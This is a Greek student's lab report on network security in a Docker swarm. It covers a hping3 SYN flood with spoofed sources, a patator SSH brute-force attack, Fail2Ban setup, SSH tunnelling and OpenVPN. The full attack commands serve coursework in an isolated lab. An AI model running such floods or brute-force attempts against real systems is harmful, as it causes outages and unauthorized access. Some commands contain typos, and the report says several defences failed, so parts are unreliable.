

Εργασία Εξαμήνου - Ασφαλεία Δικτύων και ΕΠΙΚΟΙΝΩΝΙΩΝ

Πετρίδου Αναστασία – Α.Μ. (47431)

1. Υλοποίηση συστήματος για την προσομοίωση Dos/DDos Attack

1.1. Docker

Το Docker είναι μια πλατφόρμα λογισμικού ανοιχτού κώδικα που υλοποιεί Εικονικοποίηση (Virtualization) σε επίπεδο Λειτουργικού Συστήματος. Το Docker προσφέρει αυτοματοποιημένες διαδικασίες για την ανάπτυξη εφαρμογών σε απομονωμένες Περιοχές Χρήστη (User Spaces) που ονομάζονται Software Containers. Το λογισμικό χρησιμοποιεί τεχνολογίες του πυρήνα του Linux όπως τα cgroups και οι χώροι ονομάτων πυρήνα (kernel namespaces), για να επιτρέψει σε ανεξάρτητα software containers να εκτελούνται στο ίδιο λειτουργικό σύστημα.

Περισσότερες πληροφορίες για το docker υπάρχουν στην ιστοσελίδα : [https://en.wikipedia.org/wiki/Docker_\(software\)](https://en.wikipedia.org/wiki/Docker_(software))

Σύμφωνα με τις οδηγίες κατεβάζουμε από την ιστοσελίδα του εργαστηρίου <http://docs.swarmlab.io/SwarmLab-HowTos/labs/Howtos/docker/install.adoc.html> και εγκαθιστούμε στον υπολογιστή μας το Docker.

Αρχικά δημιουργούμε σμήνος (swarm) από το Docker με τις ακόλουθες εντολές:

```
../install/usr/share/swarmlab.io/sec/swarmlab-sec create
```

Δημιουργία 4 cluster

```
../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=4
```

Σύνδεση ως master

```
../install/usr/share/swarmlab.io/sec/swarmlab-sec login
```

Εύρεση του δικτύου του swarm

```
ifconfig
```

```
anas@anas-VirtualBox:/tmp/test/swarmlab-sec/myproj$ ../install/usr/share/swarmlab.io/sec/swarmlab-sec login
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

docker@697ca14c4fac:/project$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255
    ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet)
    RX packets 64 bytes 8178 (8.1 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 1816 bytes 114408 (114.4 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1816 bytes 114408 (114.4 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

docker@697ca14c4fac:/project$
```

Ευρέση των ενεργών host

```
nmap -sP 172.19.0.*
```

```
docker@697ca14c4fac:/project$ nmap -sP 172.19.0.*
Starting Nmap 7.60 ( https://nmap.org ) at 2021-01-17 19:36 UTC
Nmap scan report for anas-VirtualBox (172.19.0.1)
Host is up (0.00042s latency).
Nmap scan report for 697ca14c4fac (172.19.0.2)
Host is up (0.00028s latency).
Nmap scan report for myproj_worker_1.myproj_net (172.19.0.3)
Host is up (0.00026s latency).
Nmap scan report for myproj_worker_3.myproj_net (172.19.0.4)
Host is up (0.00022s latency).
Nmap scan report for myproj_worker_2.myproj_net (172.19.0.5)
Host is up (0.00012s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.96 seconds
docker@697ca14c4fac:/project$
```

Συνδεδση στον worker_1

```
ssh docker@172.19.0.3
```

```
docker@697ca14c4fac:/project$ ssh docker@172.19.0.3
The authenticity of host '172.19.0.3 (172.19.0.3)' can't be established.
ECDSA key fingerprint is SHA256:n/CkXGMQtS4n2G5eMWDmD/5LDjFzjX3xv1DMjkSA1bI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.3' (ECDSA) to the list of known hosts.
docker@172.19.0.3's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-62-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$
```

Στην συνέχεια προχωράμε στην επίθεση και εκτελούμε την παρακάτω εντολή αφού πρώτα εγκαταστήσουμε το hping3 με τις παρακάτω εντολές

```
sudo apt update
sudo apt install hping3
```

```
sudo hping3 -c 12000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.19.0.3
όπου
-c: ο αριθμός των πακέτων που θα είναι 12000 +
-d: το μέγεθος των πακέτων που θα είναι 120 bytes +
-S: τα πακέτα SYN +
-w: winsize (default 64) +
-p: στόχος η πόρτα 80 +
--flood: θα στέλνει γρήγορα πακέτα χωρίς να ενημερώνει πίσω +
--rand-source: θα στέλνονται πακέτα με διαφορετικές source IP για να κρύψουμε την
πραγματική +
- destination IP 172.19.0.3 +
```

```
anas@anas-VirtualBox:~$ sudo hping3 -c 12000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.19.0.3
HPING 172.19.0.3 (br-bc48ffc82894 172.19.0.3): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
```

Για να δούμε την επίθεση που λαμβάνει ο worker_1 χρησιμοποιούμε την παρακάτω εντολή

```
sudo tcpdump -n -l
```

```
20:45:37.736256 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16051600:16051956, ack 10477, win 501, options [nop,nop,TS val 3
103865035 ecr 2472640361], length 356
20:45:37.736376 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16051956:16052168, ack 10477, win 501, options [nop,nop,TS val 3
103865036 ecr 2472640361], length 212
20:45:37.736393 IP 172.19.0.2.43280 > 172.19.0.3.22: Flags [.], ack 16052168, win 9715, options [nop,nop,TS val 2472640362 ecr 310386
5035], length 0
20:45:37.736513 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16052168:16052524, ack 10477, win 501, options [nop,nop,TS val 3
103865036 ecr 2472640362], length 356
20:45:37.736687 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16052524:16052736, ack 10477, win 501, options [nop,nop,TS val 3
103865036 ecr 2472640362], length 212
20:45:37.736706 IP 172.19.0.2.43280 > 172.19.0.3.22: Flags [.], ack 16052736, win 9715, options [nop,nop,TS val 2472640362 ecr 310386
5036], length 0
20:45:37.736844 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16052736:16053092, ack 10477, win 501, options [nop,nop,TS val 3
103865036 ecr 2472640362], length 356
20:45:37.737659 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16053092:16053304, ack 10477, win 501, options [nop,nop,TS val 3
103865037 ecr 2472640362], length 212
20:45:37.737679 IP 172.19.0.2.43280 > 172.19.0.3.22: Flags [.], ack 16053304, win 9715, options [nop,nop,TS val 2472640363 ecr 310386
5036], length 0
20:45:37.737835 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16053304:16053660, ack 10477, win 501, options [nop,nop,TS val 3
103865037 ecr 2472640363], length 356
20:45:37.737958 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16053660:16053872, ack 10477, win 501, options [nop,nop,TS val 3
103865037 ecr 2472640363], length 212
20:45:37.737975 IP 172.19.0.2.43280 > 172.19.0.3.22: Flags [.], ack 16053872, win 9715, options [nop,nop,TS val 2472640363 ecr 310386
5037], length 0
20:45:37.738095 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16053872:16054228, ack 10477, win 501, options [nop,nop,TS val 3
103865037 ecr 2472640363], length 356
20:45:37.738216 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16054228:16054440, ack 10477, win 501, options [nop,nop,TS val 3
103865037 ecr 2472640363], length 212
20:45:37.738232 IP 172.19.0.2.43280 > 172.19.0.3.22: Flags [.], ack 16054440, win 9715, options [nop,nop,TS val 2472640363 ecr 310386
5037], length 0
20:45:37.738350 IP 172.19.0.3.22 > 172.19.0.2.43280: Flags [P.], seq 16054440:16054796, ack 10477, win 501, options [nop,nop,TS val 3
```

Στην συνέχεια θα έπρεπε να δημιουργήσουμε iptables rules για την αντιμετώπιση των επιθέσεων αλλά δεν καταφερα να δημιουργήσω.

2. SSH Brute Force Attacks

Για την υλοποίηση αυτής της επίθεσης θα χρειαστούμε το πρόγραμμα patator οπότε τρέχουμε την παρακάτω εντολή:

```
sudo apt update
sudo apt install patator
```

Δημιουργούμε ένα αρχείο password.txt που περιέχει κωδικούς ώστε να γίνει η επίθεση.

Πραγματοποιούμε την επίθεση με την παρακάτω εντολή

```
patator ssh_login host=172.19.0.3 user=docker password=FILE0 0=password.txt -x
ignore:msg='Authentication failed.'
```

```
docker@46085ef7fddb:/project$ patator ssh_login host=172.19.0.3 user=docker password=FILE0 0=password.txt -x ignore:msg='Authentication failed.'
23:55:57 patator INFO - Starting Patator v0.6 (http://code.google.com/p/patator/) at 2021-01-22 23:55 EET
23:55:57 patator INFO -
23:55:57 patator INFO - code size time | candidate | num | msg
23:55:57 patator INFO - -----|-----|-----|-----|-----|-----
23:56:20 patator INFO - 0 39 0.013 | docker | 116 | SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
23:56:55 patator INFO - Hits/Done/Skip/Fail/Size: 1/266/0/0/266, Avg: 4 r/s, Time: 0h 0m 57s
docker@46085ef7fddb:/project$
```

Καταλαβαίνουμε ότι η επίθεση ήταν επιτυχής.

Στην συνέχεια κατεβάζουμε το Fail2Ban που προστατεύει τα συστήματα από ssh brute force attacks με τις εξής εντολές

```
sudo apt-get update
sudo apt-get install fail2ban
```

Προχώραμε στην αντιγραφή των δεδομένων από το jail.conf στο jail.local φάκελο με την εντολή

```
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
```

Αλλάζουμε τα δεδομένα στον φάκελο jail.local και προσθέτουμε τα παρακάτω στοιχεία

```
[sshd] +
enable = true +
port = ssh +
filter = sshd +
logpath = /var/log/auth.log
maxretry = 3 +
bantime = 3600 +

οπού :
- port : η πόρτα της υπηρεσίας ssh
- logpath : το αρχείο καταγραφής
- maxretry : ο μέγιστος αριθμός προσπαθειών
- bantime : ο χρόνος απαγόρευσης εισόδου
```

Στη συνέχεια δοκιμάζουμε πάλι να ξανακάνουμε την επίθεση και θα παρατηρούσαμε ότι δεν θα μας αφήνε να συνεχίσουμε, δεν θα είχαμε πρόσβαση και θα έκανε ban τον χρήστη κάτι το οποίο δεν λείτουργησε στην δικιά μου περίπτωση.

Ακόμα δεν κατάφερα να τροποποιήσω το ssh-server έτσι ώστε να επιτρέπει μόνο συνδέσεις μέσω key.

3. Local/Remote SSH Forwarding

Σε αυτό το ερώτημα έχω χρησιμοποιήσει άλλες IP όπως φαίνεται στην παρακάτω εικόνα

```
docker@71cf75dbbadf:/project$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.21.0.2 netmask 255.255.0.0 broadcast 172.21.255.255
    ether 02:42:ac:15:00:02 txqueuelen 0 (Ethernet)
    RX packets 2301 bytes 24293136 (24.2 MB)
```

Εγκαθιστούμε τον apache στο μηχάνημα μας

```
sudo apt install apache2
```

Τρέχουμε τον server

```
apachectl start
```

Παρατηρούμε ότι η υπηρεσία μας τρέχει με την εντολή

```
sudo netstat -antluxe
```

Στην συνέχεια εκτελούμε την εντολή

```
ssh -nNT -L 8000:localhost:80 docker@172.21.0.3
```

```
docker@71cf75dbbadf:/project$ ssh -nNT -L 8000:localhost:80 docker@172.21.0.3
The authenticity of host '172.21.0.3 (172.21.0.3)' can't be established.
ECDSA key fingerprint is SHA256:ajywnC6voQ/7rGt1kgFuwoSDh+2/mg90k/W6ουωqONs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.21.0.3' (ECDSA) to the list of known hosts.
docker@172.21.0.3's password:
bind: Cannot assign requested address
```

Με αυτήν την εντολή στην ουσία φτιάχνουμε ένα ssh tunnel μεταξύ των δυο μηχανημάτων όπου προωθούμε τα δεδομένα μας μέσω της πόρτας 8000 στην πόρτα 80.

```
!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
html xmlns="http://www.w3.org/1999/xhtml">
  <!--
    Modified from the Debian original for Ubuntu
    Last updated: 2016-11-16
    See: https://launchpad.net/bugs/1288690
  -->
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>Apache2 Ubuntu Default Page: It works</title>
    <style type="text/css" media="screen">
    * {
      margin: 0px 0px 0px 0px;
      padding: 0px 0px 0px 0px;
    }
    body, html {
      padding: 3px 3px 3px 3px;
      background-color: #D8DBE2;
      font-family: Verdana, sans-serif;
      font-size: 11pt;
      text-align: center;
    }
  </head>
  <div style="text-align: center; padding: 10px 0px 10px 0px;">
    <div style="display: inline-block; text-align: left; width: 40%; vertical-align: top; padding-right: 20px;">
      <h1 style="margin: 0; font-size: 2em; font-weight: normal;">It works!</h1>
      <h2 style="margin: 0; font-size: 1.2em; font-weight: normal;">Apache2 Ubuntu Default Page</h2>
      <p style="margin: 0; font-size: 0.8em; font-weight: normal;">It works! It works! It works!</p>
    </div>
    <div style="display: inline-block; text-align: right; width: 55%; vertical-align: top;">
      <div style="display: inline-block; text-align: left; width: 45%; vertical-align: top; padding-right: 10px;">
        <pre style="margin: 0; font-family: monospace; font-size: 0.8em; font-weight: normal; line-height: 1.2em;">
          <code>#</code>
        </pre>
      </div>
      <div style="display: inline-block; text-align: right; width: 50%; vertical-align: top;">
        <pre style="margin: 0; font-family: monospace; font-size: 0.8em; font-weight: normal; line-height: 1.2em;">
          <code>#</code>
        </pre>
      </div>
    </div>
  </div>
</body>
</html>
```

Έτσι βλέπουμε την ιστοσελίδα του apache

Στην συνέχεια για να κάνουμε το remote port forwarding εκτελούμε την εντολή

```
ssh -nNT -L 8002localhost:80 docker@172.21.0.3
```

Με αυτήν την εντολή στην ουσία φτιάχνουμε ένα ssh tunnel μεταξύ των δυο μηχανημάτων και συνδεόμαστε για να δούμε το αποτέλεσμα με την εντολή

```
curl localhost:8002
```

```
^Canas@anas-VirtualBox:~$ ssh -nNT -L 8002:localhost:80 docker@172.21.0.3
docker@172.21.0.3's password:
```

Έτσι βλέπουμε την ιστοσελίδα του apache

```
!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
html xmlns="http://www.w3.org/1999/xhtml">
<!--
  Modified from the Debian original for Ubuntu
  Last updated: 2016-11-16
  See: https://launchpad.net/bugs/1288690
-->
<!--
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Apache2 Ubuntu Default Page: It works</title>
<style type="text/css" media="screen">
* {
  margin: 0px 0px 0px 0px;
  padding: 0px 0px 0px 0px;
}

body, html {
  padding: 3px 3px 3px 3px;

  background-color: #080BE2;

  font-family: Verdana, sans-serif;
  font-size: 11pt;
  text-align: center;
```

4. VPN

Αρχικά δημιουργούμε έναν φακέλο vpn μέσα στο swarmlab-sec όπου εκεί δημιουργούμε ένα αρχείο create-vpn.sh


```

Open * create-vpn.sh Save
# /bin/bash
IP=127.0.0.1 # Server IP
P=1194 # Server Port
OVPN_SERVER='10.80.0.0/16' # VPN Network

#vpn_data=/var/lib/swarnlab/opencvn/opencvn-services/ # Dir to save data ** this must exist **
vpn_data=$PWD/opencvn-services/
if [ ! -d $vpn_data ]; then
  mkdir -p $vpn_data
fi

NAME=swarnlab-vpn-services # name of docker service
DOCKERnetwork=swarnlab-vpn-services-network # docker network
docker=registry.vlabs.uniwa.gr:5080/myownvpn # docker lnage

docker stop $NAME #stop container
sleep 1
docker container rm $NAME #rm container

# rm config files
rm -f $vpn_data/opencvn.conf.*.bak
rm -f $vpn_data/opencvn.conf
rm -f $vpn_data/ovpn_env.sh.*.bak
rm -f $vpn_data/ovpn_env.sh

# create network
sleep 1
docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork

#run container see ovpn_genconfig
docker run --net=none -lt -v $vpn_data:/etc/opencvn -p 1194:1194 --rm $docker ovpn_genconfig -u udp://$IP:1194 \
-N -d -c -p "route 172.50.20.0 255.255.0" -e "topology subnet" -s $OVPN_SERVER

# create pki see ovpn_initpki
docker run --net=none -v $vpn_data:/etc/opencvn --rm -lt $docker ovpn_initpki

# see ovpn_copy_server_files
#docker run --net=none -v $vpn_data:/etc/opencvn --rm $docker ovpn_copy_server_files

#create vpn see --cap-add=NET_ADMIN
sleep 1
docker run --detach --name $NAME -v $vpn_data:/etc/opencvn --net=$DOCKERnetwork --ip=172.50.0.2 -p SP:1194/udp --cap-add=NET_ADMIN $docker
sudo sysctl -w net.ipv4.ip_forward=1
#show created
docker ps

```

Στην συνέχεια αφού αλλάζουμε τα δικαιώματα (chmod 700) στο αρχείο τρέχουμε με την εντολή

```
./create-vpn.sh
```

```

Enter pass phrase for /etc/opencvn/pki/private/ca.key:
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName      :ASN.1 12:'127.0.0.1'
Certificate is to be certified until Jan  5 12:46:02 2024 GMT (1080 days)

Write out database with 1 new entries
Data Base Updated

Using SSL: openssl OpenSSL 1.1.1b  26 Feb 2019
Using configuration from /usr/share/easy-rsa/safesl-easyrsa.cnf
Enter pass phrase for /etc/opencvn/pki/private/ca.key:
139920140000104:error:28078065:UI routines:UI_set_result_ex:result too small:crypto/ui/ui_lib.c:903:You must type in 4
to 1023 characters
Enter pass phrase for /etc/opencvn/pki/private/ca.key:

An updated CRL has been created.
CRL file: /etc/opencvn/pki/crl.pem

0364225f05ca8363db4fe768a6218bda694064ce5dfedbd495c9998cd4517114
net.ipv4.ip_forward = 1
CONTAINER ID        IMAGE               COMMAND                  CREATED            STATUS
PORTS              NAMES
0364225f05ca      registry.vlabs.uniwa.gr:5080/myownvpn  "ovpn_run"            2 seconds ago     Up Less than a second
0.0.0.0:1194->1194/udp  swarnlab-vpn-services
10c66342b3f4      localhost:5000/sec  "sec_bootstrap role=..." 3 hours ago       Up 3 hours
myproj_worker_2
697817cc5d54      localhost:5000/sec  "sec_bootstrap role=..." 3 hours ago       Up 3 hours
myproj_worker_3
d7570e0089af      localhost:5000/sec  "sec_bootstrap role=..." 3 hours ago       Up 3 hours
myproj_worker_1
3a8c77b5764f      localhost:5000/sec  "sec_bootstrap role=..." 3 hours ago       Up 3 hours
0.0.0.0:2222->22/tcp  myproj_master_1
3c16c4f07ea1      registry            "/entrypoint.sh /etc/..." 3 hours ago       Up 3 hours
0.0.0.0:5000->5000/tcp  myproj_registry_1
anas@anas-VirtualBox: /tmp/test/swarnlab-sec/myproj/vpn$

```

Μετά ακολουθεί η δημιουργία user οπου σε ένα αρχείο create-user.sh βάζουμε τα παρακάτω δεδομένα

```
GNU nano 2.9.3 create-user.sh
USERNAME=test1
vpn_data=$PWD/openvpn-services/
docker=registry.vlabs.uniwa.gr:5080/myownvpn

docker run -v $vpn_data:/etc/openvpn --rm -lt $docker easyrsa build-client-full $USERNAME nopass
docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME > $USERNAME.ovpn
```

Στην συνέχεια αφού αλλάζουμε τα δικαιώματα (chmod 700) στο αρχείο τρέχουμε με την εντολή

```
./create-user.sh
```

```
anas@anas-VirtualBox:/tmp/test/swarmlab-sec/vpn$ nano create-user.sh
anas@anas-VirtualBox:/tmp/test/swarmlab-sec/vpn$ chmod 700 create-user.sh
anas@anas-VirtualBox:/tmp/test/swarmlab-sec/vpn$ ./create-user.sh

Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019
Generating a RSA private key
.....+++++
.....+++++
writing new private key to '/etc/openvpn/pki/private/test1.key.XXXcJaaNk'
-----
Using configuration from /usr/share/easy-rsa/safesl-easyrsa.cnf
Enter pass phrase for /etc/openvpn/pki/private/ca.key:
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName      :ASN.1 12:'test1'
Certificate is to be certified until Jan  5 18:54:54 2024 GMT (1080 days)

Write out database with 1 new entries
Data Base Updated
anas@anas-VirtualBox:/tmp/test/swarmlab-sec/vpn$
```

Αφού εκτελέσουμε το script αντικαθιστούμε στο αρχείο test1.ovpn που βρίσκεται μέσα στο φάκελο /swarmlab-sec/vpn

```
client
nobind
dev tun
comp-lz
resolv-retry infinite
keepalive 15 60
remote-cert-tls server

remote 192.168.1.5 1194 udp
float
<key>
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBAwggSjAgEAAoIBAQDONM8gSEPGSKSe
nTSVvy2ZxT942LDWET1kMLXLB0JIgxCy4dnmjS3/kcoB7p5sth9lzcwH9/21/mu5b
84znsLJyjTyAL9imI+qMD3QJqK+kG8MCjo45vFeXTToHBDXj/IVHfKMnQn4wsTUGx
4bQRTzkWI0eSL27VHHRTuULBBdCr1mars5kBA+f8nbBcd2GQB30/6FGQJbswJFM
DpLsZbslFghPrK+Te8rn2BuXaHZWoIGCziKbL0rleScEpfAYOGP45JkMTt5k4GFg
0kxybfnlaTqusY2f3lazw8qWGEPYeB+Tw7RYtPQvY4P3AHCKT7G9xrhU0do2xvj
```


Αντιγράφουμε το test1.ovpn στο φάκελο project που υπάρχει στο swarmlab-sec. Στο αρχείο test1.ovpn βαζούμε την δικιά μας IP που χρησιμοποιούμε.

```
cp test1.ovpn ../myproj/project/test1.ovpn
```

Εγκαθιστούμε και στο docker και στο swarm το openvpn

```
sudo apt update
sudo apt install openvpn
```

Αφού συνδεόμαστε μέσα σε έναν worker εκτελούμε την εντολή

```
sudo openvpn --config ./test1.ovpn
```

```
docker@3c8f456ac263:/project$ sudo openvpn --config ./test1.ovpn
Wed Jan 20 20:03:17 2021 OpenVPN 2.4.4 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTFINFO] [AEAD] built
on May 14 2019
Wed Jan 20 20:03:17 2021 library versions: OpenSSL 1.1.1 11 Sep 2018, LZO 2.08
Wed Jan 20 20:03:17 2021 TCP/UDP: Preserving recently used remote address: [AF_INET]172.19.0.1:1194
Wed Jan 20 20:03:17 2021 UDP link local: (not bound)
Wed Jan 20 20:03:17 2021 UDP link remote: [AF_INET]172.19.0.1:1194
Wed Jan 20 20:03:17 2021 [127.0.0.1] Peer Connection Initiated with [AF_INET]172.19.0.1:1194
Wed Jan 20 20:03:18 2021 TUN/TAP device tun0 opened
Wed Jan 20 20:03:18 2021 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
Wed Jan 20 20:03:18 2021 /sbin/ip link set dev tun0 up mtu 1500
Wed Jan 20 20:03:19 2021 /sbin/ip addr add dev tun0 10.80.0.2/16 broadcast 10.80.255.255
Wed Jan 20 20:03:19 2021 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent th
is
Wed Jan 20 20:03:19 2021 Initialization Sequence Completed
```

Εκτελούμαι την εντολή ifconfig για να δούμε ότι όντως δημιουργήσαμε το vrn

```
docker@3c8f456ac263:/project$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255
    ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet)
    RX packets 5768 bytes 22958821 (22.9 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 5525 bytes 310096 (310.0 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 9758 bytes 631627 (631.6 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 9758 bytes 631627 (631.6 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
    inet 10.80.0.2 netmask 255.255.0.0 destination 10.80.0.2
    unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

docker@3c8f456ac263:/project$
```